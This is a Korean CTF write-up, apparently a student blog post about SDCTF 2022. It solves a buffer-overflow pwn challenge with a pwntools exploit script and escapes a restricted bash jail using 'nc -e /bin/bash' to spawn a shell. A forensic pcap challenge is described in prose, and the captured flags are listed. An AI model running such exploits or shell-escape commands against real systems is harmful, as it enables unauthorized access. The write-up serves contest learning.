이번에 학교 동아리인 Impes동아리원들과 같이 나간 CTF이다.
이 CTF는 특이하게 디스코드로 모든 진행이 되는데 문제도 디스코드로 출제되고 플래그 제출도 디스코드로 이루어진다는게 특이해서 찾아보니 디스코드 CTF 전용 봇을 제작하여 사용하는것 같았다.
https://github.com/acmucsd/ctfbot
이번에는 포너블 1문제와 Jail 형식 1문제 그리고 포렌식 1문제를 풀었다.
사실 포너블에서 포맷 스트링 문제와 ROP문제 2개는 더 풀 수 있었을 거 같은데 다른 일이 생겨 다 풀지 못하였다.
PWN
1. Horoscope
쉬운 문제이다 (Easy!)
바이너리를 다운 받아서 기드라로 열어보니 메인함수에서 대놓고 BOF가 터진다.
보호기법을 보면 NX가 걸려있으므로 쉘코드는 이용하지 못할거 같다.
메인함수에서 입력받고 호출하는 processInput함수를 보면 입력값을 검증하는 것을 볼 수 있다.
그리고 test함수와 debug함수가 있는데 test함수는 temp변수의 값이 1이여야지 쉘을 실행시켜준다.
그리고 debug함수는 temp를 1로 만들어준다.
여기서 바로 감이 온다 ㅋㅋㅋ
-익스 순서
1. 메인에서 BOF
2. 검증 통과
3. debug호출후 -> test호출
from pwn import *
#p = process("./horoscope")
r = remote("horoscope.sdc.tf", 1337)
e = ELF("./horoscope")
#gdb.attach(p)
test = e.sym['test']
debug = e.sym['debug']
payload = b"1/1/1/1"
payload += b"A" * 41 #buf
payload += b"B" * 8 #sfp
payload += p64(debug) #temp = 1
payload += p64(test)
#p.sendline(payload)
r.sendline(payload)
#p.interactive()
r.interactive()
FLAG: sdctf{S33ms_y0ur_h0rO5c0p3_W4s_g00d_1oD4y}
Jail
1.Rbash Warmup
요즘 이런 bash 트릭 문제들이 많이 나오는것 같다.
rbash는 이 문제를 풀며 처음 알았는데 restricted bash라고 하여 거의 모든 명령이나 권한을 차단시킨 쉘이다.
https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html
어쨌든 nc로 접속하면 쉘이 뜬다.
rbash-5.0$ echo /*
echo /*
/bin /boot /dev /etc /flag /home /lib /lib32 /lib64 /libx32 /media /mnt /opt /proc /root /run /sbin /srv /sys /tmp /usr /var
rbash-5.0$ echo /flag/*
echo /flag/*
/flag/*
rbash-5.0$ echo /flag
echo /flag
/flag
rbash-5.0$ echo /flag/
echo /flag/
/flag/
rbash-5.0$ echo $PATH
echo $PATH
/home/user/whitelist
rbash-5.0$ echo /home/user/whitelist/*
echo /home/user/whitelist/*
/home/user/whitelist/nc
nc는 사용가능하다는 것을 알 수 있다.
rbash-5.0$ nc -lvp 5000 &
nc -lvp 5000 &
[1] 4
rbash-5.0$ listening on [any] 5000 ...
rbash-5.0$ jobs
jobs
[1]+ Running nc -lvp 5000 &
rbash-5.0$ nc 127.0.0.1 5000 -e /bin/bash &
nc 127.0.0.1 5000 -e /bin/bash &
[2] 5
rbash-5.0$ 127.0.0.1: inverse host lookup failed: Host name lookup failure
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 42624
[1]+ Stopped nc -lvp 5000
rbash-5.0$ fg %1
fg %1
nc -lvp 5000
/bin/ls -al
total 828
drwxr-xr-x 1 nobody nogroup 4096 May 4 16:57 .
drwxr-xr-x 1 nobody nogroup 4096 May 4 16:57 ..
lrwxrwxrwx 1 nobody nogroup 7 Apr 26 19:49 bin -> usr/bin
drwxr-xr-x 2 nobody nogroup 4096 Apr 15 2020 boot
drwxr-xr-x 1 nobody nogroup 4096 May 4 16:57 dev
drwxr-xr-x 30 nobody nogroup 4096 May 4 16:57 etc
---x--x--x 1 nobody nogroup 782768 Apr 29 18:58 flag
drwxr-xr-x 3 nobody nogroup 4096 May 4 16:57 home
lrwxrwxrwx 1 nobody nogroup 7 Apr 26 19:49 lib -> usr/lib
lrwxrwxrwx 1 nobody nogroup 9 Apr 26 19:49 lib32 -> usr/lib32
lrwxrwxrwx 1 nobody nogroup 9 Apr 26 19:49 lib64 -> usr/lib64
lrwxrwxrwx 1 nobody nogroup 10 Apr 26 19:49 libx32 -> usr/libx32
drwxr-xr-x 2 nobody nogroup 4096 Apr 26 19:49 media
drwxr-xr-x 2 nobody nogroup 4096 Apr 26 19:49 mnt
drwxr-xr-x 2 nobody nogroup 4096 Apr 26 19:49 opt
dr-xr-xr-x 418 nobody nogroup 0 May 7 07:18 proc
drwx------ 2 nobody nogroup 4096 Apr 26 19:52 root
drwxr-xr-x 5 nobody nogroup 4096 Apr 26 19:52 run
lrwxrwxrwx 1 nobody nogroup 8 Apr 26 19:49 sbin -> usr/sbin
drwxr-xr-x 2 nobody nogroup 4096 Apr 26 19:49 srv
drwxr-xr-x 2 nobody nogroup 4096 Apr 15 2020 sys
drwxrwxrwt 2 user user 40 May 7 07:18 tmp
drwxr-xr-x 13 nobody nogroup 4096 Apr 26 19:49 usr
drwxr-xr-x 11 nobody nogroup 4096 Apr 26 19:52 var
./flag
./flag
sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}
백그라운드 프로세스로 nc를 실행시키고 또다른 nc를 실행시키면서 옵션으로 /bin/bash를 실행 파일로 주면
연결이되면서 bash쉘을 쓸수 있게 된다.
flag파일을 실행시키면 flag값이 뜬다.
FLAG: sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}
Forensic
1. Flag Trafficker
네트워크 패킷 분석 문제인 듯 하다.
pcap파일을 받아 WireShark로 열어보자.
패킷이 매우매우 많다.
일일이 볼 수 없으니 http 패킷 부터 보자
상당히 의심스러운 패킷이 있다. 이걸 따라가 보자
웬 html파일이 있다...!
버튼이 있고 onclick에 난독화된 javascript가 들어있는데 버튼 내용이 클릭하면 플래그를 출력해준다고 한다.
html을 그대로 복사해서 열어보자
버튼이 나오고 눌러보니 플래그가 뜬다!
FLAG: sdctf{G3T_F*cK3d_W1r3SHaRK}
해결하지 못한 문제들
pwn -Secure Horoscope(ROP)
pwn-Oilspill(FSB)
https://roderickchan.github.io/2022/05/08/2022-sdctf-pwn-wp
https://chovid99.github.io/posts/sandiego-ctf-2022/
참고용 Write-Up(나중에 시간이되면 풀어보려고 한다.)
지금 포너블 감이 조금 떨어진거 같다. 다시 기초부터 잘 정리하면서 감을 다시 찾아야할 것 같다.
'CTF' 카테고리의 다른 글
DEFCON 31 Qual (0) | 2023.07.03 |
---|---|
Plaid CTF 2023 (0) | 2023.07.03 |
Dice CTF 2023 (0) | 2023.07.03 |
Patriot CTF 2022 write-up (0) | 2022.05.01 |
24회 해킹 캠프 CTF write-up (0) | 2022.02.20 |